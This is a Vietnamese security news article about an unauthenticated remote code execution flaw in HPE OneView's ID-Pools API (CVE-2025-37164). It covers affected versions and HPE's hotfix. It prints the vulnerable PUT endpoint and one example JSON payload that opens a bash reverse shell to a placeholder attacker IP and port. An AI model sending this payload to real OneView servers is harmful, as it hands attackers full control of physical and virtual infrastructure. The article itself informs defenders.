Lỗ hổng CVE khẩn cấp: RCE trong HPE OneView cực kỳ nguy hiểm

Các nhà nghiên cứu bảo mật đã công bố mã khai thác Proof-of-Concept (PoC) cho một lỗ hổng CVE nghiêm trọng trong HPE OneView, nền tảng quản lý hạ tầng IT phổ biến. Lỗ hổng này, được định danh CVE-2025-37164, mang điểm CVSS tối đa 10.0, cho thấy nguy cơ tức thì đối với các môi trường doanh nghiệp.

Lỗ hổng cho phép kẻ tấn công thực thi mã độc từ xa trên các hệ thống bị ảnh hưởng mà không yêu cầu mật khẩu hoặc bất kỳ hình thức xác thực nào.

Phân Tích Kỹ Thuật Lỗ Hổng CVE-2025-37164

Chi Tiết Lỗ Hổng và Cơ Chế Khai Thác

Vấn đề tồn tại trong endpoint REST API ID-Pools của phần mềm HPE OneView. Cụ thể, lỗ hổng xuất hiện trong cách ứng dụng xử lý tham số executeCommand. Mã nguồn đã đánh dấu rõ ràng rằng tiêu đề xác thực (authentication header) là “not required”.

Sự bỏ sót này cho phép kẻ tấn công gửi một lệnh JSON đơn giản, ví dụ như mở một reverse shell, mà máy chủ sẽ thực thi với các đặc quyền cao.

Cơ chế khai thác được Rapid7 phân tích cho thấy, ứng dụng chấp nhận đầu vào của người dùng thông qua một yêu cầu API PUT cụ thể (PUT /rest/id-pools/executeCommand) nhưng không xác minh liệu người dùng có được ủy quyền hay không.

Ví dụ về một lệnh JSON có thể được sử dụng để thực thi mã từ xa:

{ "action": "execute", "target": "shell", "command": "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1", "args": "-c ls -la"}

Lệnh trên minh họa việc gửi một yêu cầu để thực thi một lệnh shell, tạo kết nối reverse shell tới địa chỉ IP và cổng của kẻ tấn công.

Ảnh Hưởng và Các Phiên Bản Bị Ảnh Hưởng

Theo khuyến nghị của HPE, tất cả các phiên bản HPE OneView trước 11.0 đều bị ảnh hưởng. Các nhà nghiên cứu cũng đã chỉ ra rằng tính năng “id-pools” dễ bị tấn công chủ yếu hoạt động trong HPE OneView for HPE Synergy và các phiên bản cụ thể của HPE OneView for VMs (Branch 6.x).

Do quyền hạn cao liên quan đến các bảng điều khiển quản lý HPE OneView, việc khai thác lỗ hổng này có thể dẫn đến việc kiểm soát hoàn toàn hạ tầng vật lý và ảo.

Khai Thác và Mối Đe Dọa Hiện Hữu

PoC và Metasploit Module

Mã khai thác PoC công khai đã được phát hành, cho phép các tác nhân đe dọa dễ dàng vũ khí hóa lỗ hổng này. Một module Metasploit hợp lệ đã được công bố, giảm đáng kể rào cản kỹ thuật cho việc khai thác và tăng nguy cơ bị tấn công.

Việc tồn tại các công cụ khai thác công khai làm tăng mức độ khẩn cấp của việc áp dụng các biện pháp bảo vệ. Điều này biến lỗ hổng này thành một mối đe dọa mạng nghiêm trọng, đặc biệt khi kẻ tấn công có thể đạt được remote code execution mà không cần xác thực.

Biện Pháp Khắc Phục và Bản Vá Bảo Mật Khẩn Cấp

Hướng Dẫn Cập Nhật Bản Vá Bảo Mật

HPE đã phát hành một bản vá bảo mật (hotfix) để khắc phục lỗ hổng này bằng cách chặn quyền truy cập vào đường dẫn URL bị ảnh hưởng. Các quản trị viên được khuyến nghị thực hiện việc vá lỗi ngay lập tức.

Để ngăn chặn truy cập trái phép vào hạ tầng vật lý và ảo, các quản trị viên cần xác minh phiên bản HPE OneView của mình và áp dụng hotfix do nhà cung cấp cung cấp càng sớm càng tốt. Chi tiết về bản vá bảo mật có thể được tìm thấy trong khuyến nghị của HPE: HPE Security Bulletin hpesbgn04985en_us.

Không cập nhật hệ thống kịp thời sẽ khiến các môi trường dễ bị tổn thương trước các cuộc tấn công chiếm quyền điều khiển, gây ra rủi ro bảo mật nghiêm trọng cho dữ liệu và hoạt động kinh doanh.